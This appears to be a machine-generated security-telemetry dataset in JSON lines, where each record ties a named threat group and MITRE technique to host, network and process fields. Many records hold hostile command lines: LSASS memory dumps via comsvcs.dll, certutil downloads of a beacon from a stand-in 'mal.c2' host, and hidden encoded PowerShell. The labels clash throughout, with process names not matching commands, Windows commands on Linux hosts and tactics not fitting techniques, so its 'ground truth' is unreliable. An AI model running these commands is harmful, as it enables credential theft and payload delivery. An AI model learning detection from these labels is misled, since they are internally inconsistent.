{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Persistence"],"technique_id":"T1531"},"event_id":"evt_apt41_20250308T183716000Z_0003495","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.142.215.105","name":"IAM-ROLE-D8RVV129YD","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3495APT41T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.136.99.5","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3180 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-24T08:51:27.000Z","user":{"name":"i-jkmw88kvhc4x","sid":"S-1-5-21-366116110-219403832-4204"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Exfiltration","Lateral Movement","Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20260703T121631000Z_0003497","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.178.165.125","name":"APP-WEB-R8NDZAVCLN","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3497Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.171.55.252","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-15T15:55:53.000Z","user":{"name":"azuread\\ngug45fgj8yr","sid":"S-1-5-21-822616826-152051319-1127"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20251117T024501000Z_0003499","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.254.208.155","name":"WIN-FIN-SRV-ZV1Z3HP0SM","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3499APT41T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.85.130.193","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-12-31T08:31:51.000Z","user":{"name":"svc_tlqvf0360pxv","sid":"S-1-5-21-583480349-973749360-2787"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20260701T092421000Z_0003501","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.166.200.200","name":"IAM-ROLE-NNCIMIVV12","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3501Volt TyphoonT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.137.167.172","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-04-13T07:15:59.000Z","user":{"name":"svc_7llhuknnopdq","sid":"S-1-5-21-748034012-915102065-6789"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Defense Evasion","Execution"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20251121T015928000Z_0003503","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.117.178.56","name":"AZURE-VM-SN8NEJ6O9M","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3503APT29T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.67.69.204","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-12-21T22:53:24.000Z","user":{"name":"i-9n0ukryahs6h","sid":"S-1-5-21-111608221-203545363-2809"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20260309T014350000Z_0003505","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.82.195.161","name":"DB-ORACLE-BUMISAPJT8","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3505Volt TyphoonT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.180.76.178","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-05T07:11:31.000Z","user":{"name":"i-d2nu4v27cuty","sid":"S-1-5-21-491452955-835794921-7681"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Execution","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20250104T152038000Z_0003507","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.36.0.44","name":"APP-WEB-ZEK3OATAME","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3507APT29T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.100.75.48","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-05-20T16:46:10.000Z","user":{"name":"azuread\\fbuhx363ucxo","sid":"S-1-5-21-528958906-843180616-4530"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Credential Access"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250507T191802000Z_0003509","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.84.121.243","name":"IAM-ROLE-WAOKJIMWK3","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3509Lapsus$T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.127.156.250","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3676 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-10T03:52:51.000Z","user":{"name":"CORP\\3ti1fz8c74ek","sid":"S-1-5-21-429581527-748804843-2342"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Credential Access","Discovery","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260215T194546000Z_0003511","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.41.195.85","name":"DB-ORACLE-KQICYYT4PZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3511APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.130.86.253","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1726 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-09-11T03:38:50.000Z","user":{"name":"i-1dowenzmkaih","sid":"S-1-5-21-701958875-624441929-8593"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20261002T140932000Z_0003513","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.158.36.218","name":"WIN-FIN-SRV-J5RH5YJVKX","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3513APT41T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.3.174.189","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-03T16:14:54.000Z","user":{"name":"CORP\\zhkxd9dk17s1","sid":"S-1-5-21-541639438-566545280-9657"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Command and Control"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20250919T192908000Z_0003515","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.119.10.146","name":"IAM-ROLE-ML9LPXPAP9","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3515Scattered SpiderT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.53.100.185","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-20T02:23:19.000Z","user":{"name":"arn:aws:iam::cpbd0kwrpy6c","sid":"S-1-5-21-692121971-466055948-2927"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Persistence","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260811T194252000Z_0003517","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.64.86.99","name":"AZURE-VM-L85ZXNKDBY","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3517UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.120.13.193","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-20T21:46:42.000Z","user":{"name":"svc_ge29yeala7x2","sid":"S-1-5-21-582999494-927650501-5638"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20251019T061457000Z_0003519","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.209.202.24","name":"WIN-FIN-SRV-0SV2DTJAHC","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3519Mustang PandaT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.5.25.60","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-01-28T03:58:39.000Z","user":{"name":"arn:aws:iam::jz8qizz5qfp2","sid":"S-1-5-21-657149918-882312739-4246"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250926T192144000Z_0003521","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.241.152.163","name":"AZURE-VM-IWHJZN1DC7","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3521Lapsus$T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.187.46.81","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3319 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-02T17:47:23.000Z","user":{"name":"i-izikw6d2tmfh","sid":"S-1-5-21-749842861-311226672-6056"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Persistence"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20260913T013143000Z_0003523","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.17.212","name":"DB-ORACLE-9XYRW0QHDO","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3523UNC4841T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.184.97.126","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-02-03T05:56:11.000Z","user":{"name":"i-p8gd98dr42k7","sid":"S-1-5-21-375128583-144892319-5611"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Initial Access","Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20251224T131934000Z_0003525","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.176.66.233","name":"AZURE-VM-BCLNUOJHDR","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3525UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.65.219.18","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-03T00:23:02.000Z","user":{"name":"svc_av5gv0lcva13","sid":"S-1-5-21-687449499-219624364-9264"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Defense Evasion","Execution"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20250118T154116000Z_0003527","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.197.97.197","name":"IAM-ROLE-DC23BKM61O","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3527Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.146.1.176","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-22T10:56:48.000Z","user":{"name":"azuread\\iyt052lnowny","sid":"S-1-5-21-168274856-671143809-2905"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20261003T232528000Z_0003529","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.86.14.170","name":"IAM-ROLE-38527F4NK8","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3529APT29T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.121.134.151","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-19T02:58:37.000Z","user":{"name":"i-tpi1md4dl8rk","sid":"S-1-5-21-893939139-998145682-8054"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250223T090537000Z_0003531","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.155.22.132","name":"EC2-INST-1JIAHJS4D2","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3531Scattered SpiderT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.157.111.178","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2939 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-01T06:54:46.000Z","user":{"name":"arn:aws:iam::9j8fsur2mqpj","sid":"S-1-5-21-135671222-914956473-6957"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Execution"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260122T103054000Z_0003533","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.201.23.64","name":"IAM-ROLE-4FC6E6H9YX","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3533FIN7T1546.003"},"network":{"domain":"github.com","dst_ip":"1.68.86.232","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2150 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-10T16:23:37.000Z","user":{"name":"svc_91pjqev46w13","sid":"S-1-5-21-315819147-480013222-2313"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Lateral Movement","Discovery","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20250111T004317000Z_0003535","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.143.94.155","name":"AZURE-VM-R2N6EPUTGV","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3535APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.129.228","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-28T17:54:07.000Z","user":{"name":"arn:aws:iam::etx4xty5vuwe","sid":"S-1-5-21-743304355-309345957-6968"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260819T125921000Z_0003537","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.24.251.53","name":"DB-ORACLE-UUZFGTDPO1","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3537UNC4841T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.91.192.177","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-07-04T07:45:22.000Z","user":{"name":"CORP\\ak2uksg3wj5w","sid":"S-1-5-21-984176058-584829916-6703"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20250728T135507000Z_0003539","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.128.19.38","name":"AZURE-VM-HTOBGRJEFH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3539Volt TyphoonT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.189.96.116","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 772 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-01-09T19:44:17.000Z","user":{"name":"arn:aws:iam::icmq45j1e8z2","sid":"S-1-5-21-165156240-930630079-3491"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Collection","Impact"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250928T090716000Z_0003541","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.5.215.70","name":"APP-WEB-C9NMYM0XR2","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3541APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.64.74.148","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"CloudTrail 